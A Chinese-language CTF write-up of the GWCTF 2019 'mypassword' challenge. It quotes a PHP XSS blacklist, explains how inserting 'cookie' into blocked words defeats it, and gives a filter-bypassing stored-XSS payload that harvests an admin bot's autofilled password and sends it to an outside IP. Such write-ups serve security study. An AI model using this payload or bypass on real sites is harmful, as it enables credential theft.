ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

BUU [GWCTF 2019]mypassword

2026/9/24 14:17:53 拓冰建站 浏览量
BUU [GWCTF 2019]mypassword

BUU [GWCTF 2019]mypassword

开题,是个登录界面,也有注册功能

image-20231204185441839

首先我们注册个号看看。然后登录

提示不是SQL注入

image-20231204191123410

有反馈界面,反馈应该管理员会看,可能存在XSS。

image-20231204201537383

查看源码,注释给出了后端源码,对XSS进行了过滤,那就是XSS漏洞了。

image-20231204202232242

根据源码,waf工作原理是把匹配到的危险字符串替换为空,这里看似用来while,可以防止双写等绕过手法,但是存在逻辑漏洞。foreach依次遍历黑名单,匹配整个输入字符串中是否存在遍历到的黑名单,由于cookie是最后一位,我们可以在危险字符中插入cookie来绕过过滤,原理类似于双写绕过,危险字符替换为空后功能正常。

<?php
if(is_array($feedback)){echo "<script>alert('反馈不合法');</script>";return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {while(true){if(stripos($feedback,$val) !== false){$feedback = str_ireplace($val,"",$feedback);}else{break;}}
}

返回登录界面,查看源码,发现login.js文件

image-20231204201823278

源码不难看出,cookie中存放了登录账号和密码。

if (document.cookie && document.cookie != '') {var cookies = document.cookie.split('; ');var cookie = {};for (var i = 0; i < cookies.length; i++) {var arr = cookies[i].split('=');var key = arr[0];cookie[key] = arr[1];}if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){document.getElementsByName("username")[0].value = cookie['user'];document.getElementsByName("password")[0].value = cookie['psw'];}
}

用户名和密码储存在Cookie中,Cookie写入了表单/页面数据。那么我们留言板利用XSS漏洞,构造一个登录框并且引入login.js提交反馈等待bot点开,带出管理员表单/页面数据,就得到了管理员密码(flag)。

payload:

<input type="text" name="username">
<input type="password" name="password">
<script src="./js/login.js"></script>
<script>var passwd = document.getElementsByName("password")[0].value;document.location="http://120.46.41.173:9023/?passwd="+passwd;
</script>

加入绕过过滤后最后的payload:

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>var passwd = docucookiement.getcookieElementsByName("password")[0].value;docucookiement.locacookietion="http://120.46.41.173:9023/?passwd="+passwd;
</scrcookieipt>

image-20231204221726706

稍微等一会,bot的密码(flag)就来了

image-20231204221822728